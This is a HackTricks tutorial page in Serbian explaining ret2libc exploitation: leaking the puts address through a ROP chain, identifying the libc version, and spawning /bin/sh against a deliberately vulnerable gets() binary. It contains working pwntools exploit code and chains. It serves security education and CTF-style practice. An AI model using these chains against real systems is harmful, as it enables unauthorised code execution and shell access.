Leaking libc address with ROP

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Brzi Rezime

  1. Pronađite offset preplavljivanja

  2. Pronađite POP_RDI gedžet, PUTS_PLT i MAIN gedžete

  3. Koristite prethodne gedžete da procurete memorijsku adresu puts ili neke druge libc funkcije i pronađete verziju libc-a (preuzmite je)

  4. Sa bibliotekom, izračunajte ROP i iskoristite je

Ostali tutorijali i binarni fajlovi za vežbanje

Ovaj tutorijal će iskoristiti kod/binarni fajl predložen u ovom tutorijalu: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Još korisnih tutorijala: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Kod

Ime fajla: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Šablona za otkrivanje LIBC adrese

Preuzmite eksploataciju i smestite je u isti direktorijum kao i ranjivu binarnu datoteku i pružite potrebne podatke skripti:

1- Pronalaženje ofseta

Šablonu je potreban ofset pre nego što nastavi sa eksploatacijom. Ako nije pružen, izvršiće potreban kod za njegovo pronalaženje (podrazumevano OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Izvršite python template.py, otvoriće se GDB konzola sa programom koji je pao. Unutar te GDB konzole izvršite x/wx $rsp da biste dobili bajtove koji će prepisati RIP. Na kraju dobijte ofset koristeći python konzolu:

from pwn import *
cyclic_find(0x6161616b)

Nakon što pronađete offset (u ovom slučaju 40), promenite promenljivu OFFSET unutar šablona koristeći tu vrednost. OFFSET = "A" * 40

Još jedan način bio bi korišćenje: pattern create 1000 -- izvršiti do ret -- pattern seach $rsp iz GEF-a.

2- Pronalaženje Gadgeta

Sada trebamo pronaći ROP gadžete unutar binarnog fajla. Ovi ROP gadžeti će biti korisni za pozivanje puts kako bismo pronašli libc koji se koristi, a kasnije i za pokretanje konačnog napada.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT je potreban da bi se pozvala funkcija puts. MAIN_PLT je potreban da bi se pozvala glavna funkcija ponovo nakon jedne interakcije da bi se iskoristio preljev ponovo (beskonačne runde iskorišćavanja). Koristi se na kraju svakog ROP-a da bi se program pozvao ponovo. POP_RDI je potreban da bi se prosledio parametar pozvanoj funkciji.

U ovom koraku ne morate izvršiti ništa jer će sve biti pronađeno pomoću pwntools tokom izvršavanja.

3- Pronalaženje libc biblioteke

Sada je vreme da se otkrije koja verzija libc biblioteke se koristi. Da bismo to uradili, procurećemo adresu u memoriji funkcije puts, a zatim ćemo tražiti u kojoj verziji biblioteke se nalazi ta verzija puts funkcije na toj adresi.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Da biste to postigli, najvažnija linija izvršenog koda je:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Ovo će poslati nekoliko bajtova dok nije moguće prepisati RIP: OFFSET. Zatim će postaviti adresu gedžeta POP_RDI tako da će sledeća adresa (FUNC_GOT) biti sačuvana u registru RDI. To je zato što želimo pozvati puts prosljeđujući mu adresu PUTS_GOT jer je adresa funkcije puts u memoriji sačuvana na adresi na koju pokazuje PUTS_GOT. Nakon toga, pozvaće se PUTS_PLT (sa PUTS_GOT unutar RDI) tako da će puts pročitati sadržaj unutar PUTS_GOT (adresa funkcije puts u memoriji) i ispisati je. Na kraju, ponovo se poziva glavna funkcija kako bismo ponovo iskoristili prekoračenje.

Na ovaj način smo prevarili funkciju puts da ispisuje adresu u memoriji funkcije puts (koja je unutar libc biblioteke). Sada kada imamo tu adresu, možemo proveriti koja verzija libc-a se koristi.

Kako iskorištavamo neki lokalni binarni fajl, nije potrebno otkriti koja verzija libc-a se koristi (samo pronađite biblioteku u /lib/x86_64-linux-gnu/libc.so.6). Međutim, u slučaju udaljenog napada objasniću kako to možete pronaći:

3.1- Pretraga verzije libc-a (1)

Možete pretražiti koja biblioteka se koristi na veb stranici: https://libc.blukat.me/ Takođe će vam omogućiti da preuzmete otkrivenu verziju libc-a

3.2- Pretraga verzije libc-a (2)

Takođe možete uraditi:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Ovo će potrajati neko vreme, budite strpljivi. Da bi ovo radilo, potrebno nam je:

  • Ime simbola libc-a: puts

  • Procurena adresa libc-a: 0x7ff629878690

Možemo saznati koja se libc najverovatnije koristi.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Dobijamo 2 podudaranja (trebalo bi da probate drugo ako prvo ne radi). Preuzmite prvo:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

3.3- Druge funkcije za otkrivanje

puts
printf
__libc_start_main
read
gets

4- Pronalaženje zasnovane adrese libc-a i eksploatacija

U ovom trenutku trebalo bi da znamo koju libc biblioteku koristimo. Budući da eksploatišemo lokalni binarni fajl, koristiću samo: /lib/x86_64-linux-gnu/libc.so.6

Dakle, na početku template.py promenite libc promenljivu u: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Postavite putanju biblioteke kada je znate

Dajući putanju do libc biblioteke, ostatak eksploatacije će biti automatski izračunat.

Unutar funkcije get_addr biće izračunata bazna adresa libc-a:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Imajte na umu da konačna adresa osnovne libc biblioteke mora završiti sa 00. Ako to nije slučaj, možda ste otkrili netačnu biblioteku.

Zatim će adresa funkcije system i adresa stringa "/bin/sh" biti izračunati iz osnovne adrese libc i date libc biblioteke.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Konačno, eksploatacija izvršenja /bin/sh će biti pripremljena poslata:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Objasnićemo ovaj konačni ROP. Poslednji ROP (rop1) završio je ponovnim pozivom glavne funkcije, zatim možemo ponovo iskoristiti preplavljivanje (zato je ovde ponovo OFFSET). Zatim želimo pozvati POP_RDI koji pokazuje na adresu "/bin/sh" (BINSH) i pozvati funkciju system (SYSTEM) jer će adresa "/bin/sh" biti prosleđena kao parametar. Na kraju se poziva adresa funkcije izlaza tako da se proces lepo završi i ne generiše se nikakvo upozorenje.

Na ovaj način eksploit će izvršiti _/bin/sh_** shell.**

4(2)- Korišćenje ONE_GADGET

Takođe možete koristiti ONE_GADGET da biste dobili shell umesto korišćenja system i "/bin/sh". ONE_GADGET će pronaći unutar libc biblioteke neki način da se dobije shell koristeći samo jednu ROP adresu. Međutim, obično postoje neka ograničenja, najčešća i lako izbegnuta su poput [rsp+0x30] == NULL. Pošto kontrolišete vrednosti unutar RSP, samo treba poslati još nekoliko NULL vrednosti kako bi se ograničenje izbeglo.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FAJL

Ovde možete pronaći šablon za iskorišćavanje ove ranjivosti:

Česti problemi

MAIN_PLT = elf.symbols['main'] nije pronađen

Ako simbol "main" ne postoji. Tada možete pronaći gde se nalazi glavni kod:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

i postavite adresu ručno:

MAIN_PLT = 0x401080

Puts nije pronađen

Ako binarni fajl ne koristi Puts, trebalo bi da proverite da li koristi

sh: 1: %s%s%s%s%s%s%s%s: not found

Ako pronađete ovu grešku nakon što ste kreirali sve eksploate: sh: 1: %s%s%s%s%s%s%s%s: not found

Pokušajte da oduzmete 64 bajta od adrese "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated